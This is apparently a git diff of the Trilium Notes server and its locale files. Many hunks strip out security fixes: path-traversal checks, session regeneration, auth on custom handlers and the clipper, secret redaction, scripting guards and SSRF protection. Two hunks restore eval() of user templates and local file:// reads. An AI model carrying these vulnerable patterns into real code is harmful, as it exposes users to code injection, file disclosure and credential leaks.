"proxy-server-placeholder": "https://<hostname>:<port>",
"note": "Poznámka:",
"proxy-instruction": "Pokud ponecháte nastavení proxy prázdné, bude použita systémová proxy (platí pouze pro počítačovou aplikaci)",
"password": "Heslo",
"password-placeholder": "Heslo",
"back": "Zpět",
"finish-setup": "Dokončit nastavení"
},
"setup_sync-in-progress": {
"heading": "Synchronizace probíhá",
"successful": "Synchronizace byla správně nastavena. Prvotní synchronizace bude trvat nějaký čas. Jakmile bude hotovo, budete přesměrováni na přihlašovací stránku.",
"outstanding-items": "Neodeslané položky synchronizace:",
"outstanding-items-default": "N/A"
},
"share_404": {
"title": "Nenalezeno",
"heading": "Nenalezeno"
},
"share_page": {
"parent": "nadřazená:",
"clipped-from": "Tato poznámka byla původně uložena ze zdroje {{- url}}",
"child-notes": "Dceřiné poznámky:",
"no-content": "Tato poznámka neobsahuje žádný obsah."
},
"weekdays": {
"monday": "Pondělí",
"tuesday": "Úterý",
"wednesday": "Středa",
"thursday": "Čtvrtek",
"friday": "Pátek",
"saturday": "Sobota",
"sunday": "Neděle"
},
"weekdayNumber": "Týden {{weekNumber}}",
"months": {
"january": "Leden",
"february": "Únor",
"march": "Březen",
"april": "Duben",
"may": "Květen",
"june": "Červen",
"july": "Červenec",
"august": "Srpen",
"september": "Září",
"october": "Říjen",
"november": "Listopad",
"december": "Prosinec"
},
"quarterNumber": "Čtvrtletí {quarterNumber}",
"special_notes": {
"search_prefix": "Hledání:",
"llm_chat_prefix": "Chat:"
},
"test_sync": {
"not-configured": "Hostitel synchronizačního serveru není nakonfigurován. Nejprve prosím nakonfigurujte synchronizaci.",
"successful": "Protokol synchronizačního serveru byl úspěšný, synchronizace byla zahájena."
},
"hidden-subtree": {
"root-title": "Skryté poznámky",
"search-history-title": "Historie hledání",
"note-map-title": "Mapa poznámek",
"sql-console-history-title": "Historie SQL konzole",
"llm-chat-history-title": "Historie AI Chat",
"shared-notes-title": "Sdílené poznámky",
"bulk-action-title": "Hromadná akce",
"backend-log-title": "Log Backend",
"user-hidden-title": "Uživatel skryt",
"launch-bar-templates-title": "Šablony panelu spouštěče",
"base-abstract-launcher-title": "Základní abstraktní spouštěč",
"command-launcher-title": "Spouštěč příkazů",
"note-launcher-title": "Spouštěč poznámky",
"script-launcher-title": "Spouštěč skriptu",
"built-in-widget-title": "Vestavěný widget",
"spacer-title": "Mezera",
"custom-widget-title": "Vlastní widget",
"launch-bar-title": "Panel spouštěče",
"available-launchers-title": "Dostupné spouštěče",
"go-to-previous-note-title": "Přejít na předchozí poznámku",
"go-to-next-note-title": "Přejít na další poznámku",
"new-note-title": "Nová poznámka",
"search-notes-title": "Hledat poznámky",
"jump-to-note-title": "Skočit na...",
"calendar-title": "Kalendář",
"recent-changes-title": "Nedávné změny",
"bookmarks-title": "Záložky",
"command-palette": "Otevřít paletu příkazů",
"zen-mode": "Režim Zen",
"open-today-journal-note-title": "Otevřít dnešní deník",
"quick-search-title": "Rychlé hledání",
"protected-session-title": "Chráněná relace",
"sync-status-title": "Stav synchronizace",
"settings-title": "Nastavení",
"options-title": "Možnosti",
"appearance-title": "Vzhled",
"shortcuts-title": "Zkratky",
"text-notes": "Textové poznámky",
"code-notes-title": "Poznámky s kódem",
"images-title": "Média",
"spellcheck-title": "Kontrola pravopisu",
"password-title": "Heslo",
"multi-factor-authentication-title": "MFA",
"etapi-title": "ETAPI",
"backup-title": "Záloha",
"sync-title": "Synchronizace",
"other": "Ostatní",
"advanced-title": "Pokročilé",
"llm-title": "AI / LLM",
"visible-launchers-title": "Viditelné spouštěče",
"user-guide": "Uživatelská příručka",
"localization": "Jazyk a region",
"inbox-title": "Schránka příchozí",
"tab-switcher-title": "Přepínač záložek",
"sidebar-chat-title": "AI Chat"
},
"notes": {
"new-note": "Nová poznámka",
"duplicate-note-suffix": "(dup)",
"duplicate-note-title": "{{- noteTitle }} {{ duplicateNoteSuffix }}"
},
"backend_log": {
"log-does-not-exist": "Logovací soubor Backend '{{ fileName }}' neexistuje (zatím).",
"reading-log-failed": "Čtení logovacího souboru Backend '{{ fileName }}' se nepodařilo."
},
"content_renderer": {
"note-cannot-be-displayed": "Tento typ poznámky nelze zobrazit."
},
"pdf": {
"export_filter": "PDF dokument (*.pdf)",
"unable-to-export-message": "Aktuální poznámku nebylo možné exportovat jako PDF.",
"unable-to-export-title": "Nelze exportovat jako PDF",
"unable-to-save-message": "Do vybraného souboru nebylo možné zapisovat. Zkuste to znovu nebo vyberte jiné cílové místo.",
"unable-to-print": "Nelze vytisknout poznámku"
},
"tray": {
"tooltip": "Trilium Notes",
"close": "Ukončit Trilium",
"recents": "Nedávné poznámky",
"bookmarks": "Záložky (oblíbené)",
"today": "Otevřít dnešní deníkovou poznámku",
"new-note": "Nová poznámka",
"show-windows": "Zobrazit okna",
"open_new_window": "Otevřít nové okno"
},
"migration": {
"old_version": "Přímá migrace z vaší aktuální verze není podporována. Nejprve prosím upgradujte na nejnovější v0.60.4 a až poté na tuto verzi.",
"error_message": "Chyba během migrace na verzi {{version}}: {{stack}}",
"wrong_db_version": "Verze databáze ({{version}}) je novější, než jakou aplikace očekává ({{targetVersion}}), což znamená, že byla vytvořena novější a nekompatibilní verzí Trilium. Pro vyřešení tohoto problému upgradujte na nejnovější verzi Trilium."
},
"modals": {
"error_title": "Chyba"
},
"share_theme": {
"site-theme": "Motiv webu",
"search_placeholder": "Hledat...",
"image_alt": "Obrázek článku",
"last-updated": "Poslední aktualizace dne {{ - date}}",
"subpages": "Podstránky:",
"on-this-page": "Na této stránce",
"expand": "Rozbalit"
},
"hidden_subtree_templates": {
"text-snippet": "Textový úryvek",
"description": "Popis",
"list-view": "Seznamový pohled",
"grid-view": "Mřížkový pohled",
"calendar": "Kalendář",
"table": "Tabulka",
"geo-map": "Geomapa",
"start-date": "Počáteční datum",
"end-date": "Koncové datum",
"start-time": "Počáteční čas",
"end-time": "Koncowy čas",
"geolocation": "Geolokalizace",
"built-in-templates": "Vestavěné šablony",
"board": "Kanbanová tabule",
"status": "Stav",
"board_note_first": "První poznámka",
"board_note_second": "Druhá poznámka",
"board_note_third": "Třetí poznámka",
"board_status_todo": "K dokončení",
"board_status_progress": "Probíhá",
"board_status_done": "Hotovo",
"presentation": "Prezentace",
"presentation_slide": "Prezentace snímku",
"presentation_slide_first": "První snímek",
"presentation_slide_second": "Druhý snímek",
"background": "Pozadí"
},
"sql_init": {
"db_not_initialized_desktop": "DB není inicializována, postupujte podle pokynů na obrazovce.",
"db_not_initialized_server": "DB není inicializována, navštivte prosím stránku pro nastavení - http://[your-server-host]:{{port}}, kde najdete pokyny, jak inicializovat Trilium."
},
"desktop": {
"instance_already_running": "Instance již běží, místo vytváření nové se zaměříme na tu stávající."
}
}

View File

@@ -198,7 +198,8 @@
"december": "十二月"
},
"special_notes": {
"search_prefix": "搜尋:"
"search_prefix": "搜尋:",
"llm_chat_prefix": "對話:"
},
"test_sync": {
"not-configured": "尚未設定同步伺服器主機,請先設定同步。",
@@ -340,7 +341,7 @@
"shortcuts-title": "快捷鍵",
"text-notes": "文字筆記",
"code-notes-title": "程式碼筆記",
"images-title": "圖片",
"images-title": "媒體",
"spellcheck-title": "拼寫檢查",
"password-title": "密碼",
"multi-factor-authentication-title": "多重身份驗證",
@@ -355,7 +356,10 @@
"inbox-title": "收件匣",
"command-palette": "打開命令面板",
"zen-mode": "禪模式",
"tab-switcher-title": "切換分頁"
"tab-switcher-title": "切換分頁",
"llm-chat-history-title": "AI 對話歷史",
"llm-title": "AI / LLM",
"sidebar-chat-title": "AI 對話"
},
"notes": {
"new-note": "新增筆記",

View File

@@ -171,8 +171,7 @@ function setExpandedForSubtree(req: Request<{ branchId: string, expanded: string
// root is always expanded
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
const expandedValue = expanded ? 1 : 0;
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
for (const branchId of branchIds) {
const branch = becca.branches[branchId];

View File

@@ -1,7 +1,6 @@
import chokidar from "chokidar";
import type { Request, Response } from "express";
import fs from "fs";
import path from "path";
import { Readable } from "stream";
import tmp from "tmp";
@@ -204,36 +203,13 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
};
}
/**
* Validates that the given file path is a known temporary file created by this server
* and resides within the expected temporary directory. This prevents path traversal
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
*/
function validateTemporaryFilePath(filePath: string): void {
if (!filePath || typeof filePath !== "string") {
throw new ValidationError("Missing or invalid file path.");
}
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
}
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
// This guards against any future bugs where a non-temp path could end up in the set.
const resolvedPath = path.resolve(filePath);
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
}
}
function uploadModifiedFileToNote(req: Request<{ noteId: string }>) {
const noteId = req.params.noteId;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
const note = becca.getNoteOrThrow(noteId);
@@ -254,7 +230,9 @@ function uploadModifiedFileToAttachment(req: Request<{ attachmentId: string }>)
const { attachmentId } = req.params;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
const attachment = becca.getAttachmentOrThrow(attachmentId);

View File

@@ -10,21 +10,6 @@ describe("Image API", () => {
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
});
it("sets Content-Security-Policy header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["Content-Security-Policy"]).toBeDefined();
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
});
it("sets X-Content-Type-Options header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
});
});
class MockResponse {

View File

@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
* type: string
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
*/
async function loginSync(req: Request) {
function loginSync(req: Request) {
if (!sqlInit.schemaExists()) {
return [500, { message: "DB schema does not exist, can't sync." }];
}
@@ -112,17 +112,6 @@ async function loginSync(req: Request) {
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
}
// Regenerate session to prevent session fixation attacks.
await new Promise<void>((resolve, reject) => {
req.session.regenerate((err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
req.session.loggedIn = true;
return {

View File

@@ -5,7 +5,7 @@ import type { Request } from "express";
import ValidationError from "../../errors/validation_error.js";
import config from "../../services/config.js";
import { changeLanguage, getLocales } from "../../services/i18n.js";
import { changeLanguage } from "../../services/i18n.js";
import log from "../../services/log.js";
import optionService from "../../services/options.js";
import searchService from "../../services/search/services/search.js";
@@ -113,31 +113,17 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"ocrMinConfidence"
]);
// Options that contain secrets (API keys, tokens, etc.).
// These can be written by the client but are never sent back in GET responses.
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
"openaiApiKey",
"anthropicApiKey"
]);
function getOptions() {
const optionMap = optionService.getOptionMap();
const resultMap: Record<string, string> = {};
for (const optionName in optionMap) {
if (isReadable(optionName)) {
if (isAllowed(optionName)) {
resultMap[optionName] = optionMap[optionName as OptionNames];
}
}
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
// Expose boolean flags for write-only (secret) options so the client
// knows whether a value has been configured without revealing the value.
for (const secretOption of WRITE_ONLY_OPTIONS) {
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
optionMap[secretOption] ? "true" : "false";
}
// if database is read-only, disable editing in UI by setting 0 here
if (config.General.readOnly) {
resultMap["autoReadonlySizeText"] = "0";
@@ -172,10 +158,7 @@ function update(name: string, value: string) {
}
if (name !== "openNoteContexts") {
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
? "[redacted]"
: value;
log.info(`Updating option '${name}' to '${logValue}'`);
log.info(`Updating option '${name}' to '${value}'`);
}
optionService.setOption(name as OptionNames, value);
@@ -209,28 +192,16 @@ function getUserThemes() {
return ret;
}
function getSupportedLocales() {
return getLocales();
}
/** Check if an option can be read by the client (GET responses). */
function isReadable(name: string) {
function isAllowed(name: string) {
return (ALLOWED_OPTIONS as Set<string>).has(name)
|| name.startsWith("keyboardShortcuts")
|| name.endsWith("Collapsed")
|| name.startsWith("hideArchivedNotes");
}
/** Check if an option can be written by the client (PUT requests). */
function isAllowed(name: string) {
return isReadable(name)
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
}
export default {
getOptions,
updateOption,
updateOptions,
getUserThemes,
getSupportedLocales
getUserThemes
};

View File

@@ -8,7 +8,6 @@ import scriptService, { type Bundle } from "../../services/script.js";
import sql from "../../services/sql.js";
import syncService from "../../services/sync.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
interface ScriptBody {
script: string;
@@ -24,7 +23,6 @@ interface ScriptBody {
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
// this and does result.then().
async function exec(req: Request) {
assertScriptingEnabled();
try {
const body = req.body as ScriptBody;
@@ -47,7 +45,6 @@ async function exec(req: Request) {
}
function run(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const result = scriptService.executeNote(note, { originEntity: note });
@@ -72,10 +69,6 @@ function getBundlesWithLabel(label: string, value?: string) {
}
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
if (req.query.mobile === "true") {
return getBundlesWithLabel("run", "mobileStartup");
@@ -88,10 +81,6 @@ function getStartupBundles(req: Request) {
}
function getWidgetBundles() {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
return getBundlesWithLabel("widget");
}
@@ -100,10 +89,6 @@ function getWidgetBundles() {
}
function getRelationBundles(req: Request<{ noteId: string, relationName: string }>) {
if (!isScriptingEnabled()) {
return [];
}
const noteId = req.params.noteId;
const note = becca.getNoteOrThrow(noteId);
const relationName = req.params.relationName;
@@ -133,8 +118,6 @@ function getRelationBundles(req: Request<{ noteId: string, relationName: string
}
function getBundle(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const { script, params } = req.body ?? {};

View File

@@ -4,7 +4,6 @@ import becca from "../../becca/becca.js";
import ValidationError from "../../errors/validation_error.js";
import sql from "../../services/sql.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
interface Table {
name: string;
@@ -26,7 +25,6 @@ function getSchema() {
}
function execute(req: Request<{ noteId: string }>) {
assertSqlConsoleEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const content = note.getContent();

View File

@@ -3,7 +3,6 @@ import { doubleCsrf } from "csrf-csrf";
import sessionSecret from "../services/session_secret.js";
import { isElectron } from "../services/utils.js";
import config from "../services/config.js";
export const CSRF_COOKIE_NAME = "trilium-csrf";
@@ -17,7 +16,7 @@ const doubleCsrfUtilities = doubleCsrf({
getSecret: () => sessionSecret,
cookieOptions: {
path: "/",
secure: config.Network.https,
secure: false,
sameSite: "strict",
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
},

View File

@@ -6,15 +6,9 @@ import sql from "../services/sql.js";
import becca from "../becca/becca.js";
import type { Request, Response, Router } from "express";
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// handle path from "*path" route wildcard
// in express v4, you could just add
// req.params.path + req.params[0], but with v5
@@ -70,14 +64,6 @@ function handleRequest(req: Request, res: Response) {
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
try {

View File

@@ -15,7 +15,7 @@ import etapiSpecRoute from "../etapi/spec.js";
import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
import auth from "../services/auth.js";
import openID from '../services/open_id.js';
import { isElectron } from "../services/utils.js";
import shareRoutes from "../share/routes.js";
import appInfoRoute from "./api/app_info.js";
import attachmentsApiRoute from "./api/attachments.js";
@@ -215,7 +215,6 @@ function register(app: express.Application) {
apiRoute(PUT, "/api/options/:name/:value", optionsApiRoute.updateOption);
apiRoute(PUT, "/api/options", optionsApiRoute.updateOptions);
apiRoute(GET, "/api/options/user-themes", optionsApiRoute.getUserThemes);
apiRoute(GET, "/api/options/locales", optionsApiRoute.getSupportedLocales);
apiRoute(PST, "/api/password/change", passwordApiRoute.changePassword);
apiRoute(PST, "/api/password/reset", passwordApiRoute.resetPassword);
@@ -259,7 +258,7 @@ function register(app: express.Application) {
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
@@ -272,10 +271,8 @@ function register(app: express.Application) {
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
// clipper API always requires ETAPI token authentication, regardless of environment.
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
// to unauthenticated network access (content injection, information disclosure).
const clipperMiddleware = [auth.checkEtapiToken];
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);

View File

@@ -107,8 +107,6 @@ const sessionParser: express.RequestHandler = session({
cookie: {
path: "/",
httpOnly: true,
secure: config.Network.https,
sameSite: "lax",
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
},
name: "trilium.sid",

View File

@@ -72,16 +72,9 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
}
async function backupNow(name: string) {
// Sanitize backup name to prevent path traversal (CWE-22).
// Only allow alphanumeric characters, hyphens, and underscores.
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
if (!sanitizedName) {
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
}
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
return await syncMutexService.doExclusively(async () => {
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);

View File

@@ -6,9 +6,6 @@ import { randomString } from "./utils.js";
import eraseService from "./erase.js";
import type BNote from "../becca/entities/bnote.js";
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
import { evaluateTemplate } from "./safe_template.js";
import { executeBundle } from "./script.js";
import { assertScriptingEnabled } from "./scripting_guard.js";
type ActionHandler<T> = (action: T, note: BNote) => void;
@@ -47,8 +44,9 @@ const ACTION_HANDLERS: ActionHandlerMap = {
},
renameNote: (action, note) => {
// "officially" injected value:
// - note (the note being renamed)
const newTitle = evaluateTemplate(action.newTitle, { note });
// - note
const newTitle = eval(`\`${action.newTitle}\``);
if (note.title !== newTitle) {
note.title = newTitle;
@@ -107,26 +105,15 @@ const ACTION_HANDLERS: ActionHandlerMap = {
}
},
executeScript: (action, note) => {
assertScriptingEnabled();
if (!action.script || !action.script.trim()) {
log.info("Ignoring executeScript since the script is empty.");
return;
}
// Route through the script service's executeBundle instead of raw
// new Function() to get proper CLS context, logging, and error handling.
// The preamble provides access to `note` and `api` as the UI documents.
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
`const note = apiContext.notes["${noteId}"];\n`;
const scriptBody = `${preamble}${action.script}\nnote.save();`;
const scriptFunc = new Function("note", action.script);
scriptFunc(note);
executeBundle({
note: note,
script: scriptBody,
html: "",
allNotes: [note]
});
note.save();
}
} as const;

View File

@@ -136,14 +136,7 @@ export interface TriliumConfig {
* log files created by Trilium older than the specified amount of time will be deleted.
*/
retentionDays: number;
};
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
}
}
/**
@@ -465,21 +458,6 @@ const configMapping = {
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
}
},
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
};
@@ -533,19 +511,9 @@ const config: TriliumConfig = {
},
Logging: {
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
},
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
};
// Desktop builds always have scripting enabled (single-user trusted environment)
if (process.versions["electron"]) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
/**
* =====================================================================
* ENVIRONMENT VARIABLE REFERENCE

View File

@@ -12,12 +12,11 @@ import log from "./log.js";
import type BNote from "../becca/entities/bnote.js";
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
import { isScriptingEnabled } from "./scripting_guard.js";
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
if (!note) {
return;
}

View File

@@ -4,7 +4,7 @@ import sql_init from "./sql_init.js";
import { join } from "path";
import { getResourceDir } from "./utils.js";
import hidden_subtree from "./hidden_subtree.js";
import { dayjs, LOCALES, setDayjsLocale, type Dayjs, type Locale, type LOCALE_IDS } from "@triliumnext/commons";
import { dayjs, LOCALES, setDayjsLocale, type Dayjs, type LOCALE_IDS } from "@triliumnext/commons";
export async function initializeTranslations() {
const resourceDir = getResourceDir();
@@ -30,10 +30,6 @@ export function ordinal(date: Dayjs) {
.format("Do");
}
export function getLocales(): Locale[] {
return LOCALES;
}
function getCurrentLanguage(): LOCALE_IDS {
let language: string | null = null;
if (sql_init.isDbInitialized()) {

View File

@@ -25,10 +25,8 @@ import type { NoteParams } from "./note-interface.js";
import optionService from "./options.js";
import request from "./request.js";
import revisionService from "./revisions.js";
import { evaluateTemplateSafe } from "./safe_template.js";
import sql from "./sql.js";
import type TaskContext from "./task_context.js";
import { isSafeUrlForFetch } from "./url_validator.js";
import ws from "./ws.js";
interface FoundLink {
@@ -121,17 +119,17 @@ function getNewNoteTitle(parentNote: BNote) {
const titleTemplate = parentNote.getLabelValue("titleTemplate");
if (titleTemplate !== null) {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
try {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
// "officially" injected values:
// - now
// - parentNote
title = evaluateTemplateSafe(
titleTemplate,
{ now, parentNote },
title,
`titleTemplate of note '${parentNote.noteId}'`
);
// "officially" injected values:
// - now
// - parentNote
title = eval(`\`${titleTemplate}\``);
} catch (e: any) {
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
}
}
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
@@ -505,14 +503,24 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
async function downloadImage(noteId: string, imageUrl: string) {
const unescapedUrl = unescapeHtml(imageUrl);
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
if (!isSafeUrlForFetch(unescapedUrl)) {
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
return;
}
try {
const imageBuffer = await request.getImage(unescapedUrl);
let imageBuffer: Buffer;
if (imageUrl.toLowerCase().startsWith("file://")) {
imageBuffer = await new Promise((res, rej) => {
const localFilePath = imageUrl.substring("file://".length);
return fs.readFile(localFilePath, (err, data) => {
if (err) {
rej(err);
} else {
res(data);
}
});
});
} else {
imageBuffer = await request.getImage(unescapedUrl);
}
const parsedUrl = url.parse(unescapedUrl);
const title = path.basename(parsedUrl.pathname || "");

View File

@@ -1,188 +0,0 @@
/**
* Safe template evaluator that replaces eval()-based template string interpolation.
*
* Supports only a controlled set of operations within ${...} expressions:
* - Property access chains: `obj.prop.subprop`
* - Method calls with a single string literal argument: `obj.method('arg')`
* - Chained combinations: `obj.prop.method('arg')`
*
* This prevents arbitrary code execution while supporting the documented
* titleTemplate and bulk rename use cases:
* - ${now.format('YYYY-MM-DD')}
* - ${parentNote.title}
* - ${parentNote.getLabelValue('authorName')}
* - ${note.title}
* - ${note.dateCreatedObj.format('MM-DD')}
*/
import log from "./log.js";
/** Allowed method names that can be called on template variables. */
const ALLOWED_METHODS = new Set([
"format",
"getLabelValue",
"getLabel",
"getLabelValues",
"getRelationValue",
"getAttributeValue"
]);
/** Allowed property names that can be accessed on template variables. */
const ALLOWED_PROPERTIES = new Set([
"title",
"type",
"mime",
"noteId",
"dateCreated",
"dateModified",
"utcDateCreated",
"utcDateModified",
"dateCreatedObj",
"utcDateCreatedObj",
"isProtected",
"content"
]);
interface TemplateVariables {
[key: string]: unknown;
}
/**
* Evaluates a template string safely without using eval().
*
* Template strings can contain ${...} expressions which are evaluated
* against the provided variables map.
*
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
* @param variables - Map of variable names to their values
* @returns The interpolated string
* @throws Error if an expression cannot be safely evaluated
*/
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
const result = evaluateExpression(expression.trim(), variables);
return result == null ? "" : String(result);
});
}
/**
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
*
* Supported forms:
* - `varName` -> variables[varName]
* - `varName.prop` -> variables[varName].prop
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
* - `varName.method('arg')` -> variables[varName].method('arg')
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
*/
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
// Parse the expression into segments: variable name, property accesses, and optional method call.
// We handle: varName(.propName)*.methodName('stringArg')?
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
const methodCallMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
);
if (methodCallMatch) {
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as (arg: string) => unknown).call(target, methodArg as string);
}
// Check for a no-arg method call at the end: .methodName()
const noArgMethodMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
);
if (noArgMethodMatch) {
const [, chainStr, methodName] = noArgMethodMatch;
if (!ALLOWED_METHODS.has(methodName)) {
